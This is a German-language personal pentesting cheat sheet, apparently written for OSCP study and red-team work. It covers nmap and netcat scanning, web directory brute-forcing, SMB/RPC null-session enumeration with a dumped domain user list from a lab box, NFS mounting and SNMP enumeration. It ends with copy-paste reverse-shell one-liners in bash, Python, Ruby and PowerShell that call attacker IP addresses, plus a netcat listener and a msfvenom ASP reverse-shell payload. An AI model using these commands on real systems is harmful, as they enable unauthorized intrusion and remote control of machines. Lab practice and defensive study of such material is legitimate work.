
Es gibt da draußen viele Cheat-Sheets, aber das hier ist meins.
Es gibt viele Spickzettel da draußen, aber das hier ist meiner. Er ist derzeit in Arbeit und existiert als grober Entwurf, der oft manchmal aktualisiert wird. Ich habe damit angefangen, als ich für meinen OSCP gelernt habe, aber jetzt entwickelt er sich weiter und enthält mehr praktische Dinge, die ich als Red Teamer brauche. Die neuen Ergänzungen werden höchstwahrscheinlich für die Prüfung nutzlos sein und könnten sogar Tools enthalten, die verboten sind.
Sehr unvollständig...
find / -name flag.txt um Dateien anhand des Namens zu finden.
grep -R "flag40" / -s -n durchsucht Dateien nach einem String, rekursiv ab dem Root-Verzeichnis, ohne Fehlerausgabe.
dir /s flag.txt um Dateien namens flag.txt im aktuellen Verzeichnis und in Unterverzeichnissen zu finden.
Ein nützliches Tool -> wadcoms.github.io
nmap -sn 10.11.1.0/24 Netzwerk-Sweep, um Hosts zu finden.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt sweept das Netzwerk nach erreichbaren IPs und speichert die IP-Adressen in einer Liste.nmap -A 10.10.10.10 für einen schnellen Scan der gängigen TCP-Ports mit OS- und Service-Erkennung.
nmap -A 10.10.10.10 -p- um alle TCP-Ports mit OS- und Service-Erkennung zu scannen.
nmap -A -sU 10.10.10.10 um alle UDP-Ports mit OS- und Service-Erkennung zu scannen.
sudo nmap -O -A -sV 10.10.10.10 um alle gängigen TCP-Ports zu scannen, das OS zu identifizieren, Skripte auszuführen und Banner zu erfassen.
proxychains nmap -Pn -sT 10.10.10.10 -v da ICMP/UDP-Scans nicht funktionieren.
Das Flag -w gibt den Timeout in Sekunden an und das Flag -z sendet keine Daten (zum Scannen).
nc -nvv -w 1 -z 10.11.1.220 3388-3390 TCP-Scan der Ports 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 UDP-Scan der Ports 160-162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.Ich mag auch dirsearch.
Nützliche Wortlisten auf Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r Verzeichnis-Enumeration mit dirbs big.txt, kopieren/einfügen und nur IP/URL und Erweiterungen anpassen.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r Verzeichnis-Enumeration mit dirbusters Verzeichnisliste, kopieren/einfügen und nur IP/URL und Erweiterungen anpassen.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, Brute-Force auf CGIs.
Ein rsync-Modul ist im Wesentlichen eine Verzeichnisfreigabe. Diese Module können optional durch ein Passwort geschützt sein. Diese Option listet die verfügbaren Module auf und bestimmt optional, ob das Modul für den Zugriff ein Passwort erfordert**:**
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 um verfügbare Freigaben aufzulisten
smbclient //10.11.1.146/IPC$ um sich bei dieser Freigabe anzumelden. Falls das nicht funktioniert, versuch es mit sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o um die SMB-Enumeration mit enum4linux zu automatisieren.
Wenn du dich mit Null-Login verbinden kannst -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
Guter Artikel
Noch ein guter Artikel
showmount -e 10.10.10.10 um verfügbare Mounts zu sehen
mount -t nfs 10.10.10.10:/ /tmp -o nolock um das Root-Verzeichnis oder einen anderen Ordner zu mounten.
onesixtyone -c community -i ips scannt das Zielnetzwerk, um SNMP-Server zu identifizieren; community und ips sind Listen, community = (public, private, manager).
snmp-check 10.11.1.227 macht alles unten Genannte, aber besser, und formatiert es für dich hübsch :)
snmpwalk -c public -v1 -t 10 10.11.1.115 enumeriert den gesamten MIB-Baum.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumeriert Windows-Benutzer.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumeriert laufende Windows-Prozesse.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumeriert offene TCP-Ports.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumeriert installierte Software.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 Reverse Shell mit Netcat auf Port 4444 abhören (fangen)
python -c 'import pty; pty.spawn("/bin/bash")' oder python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp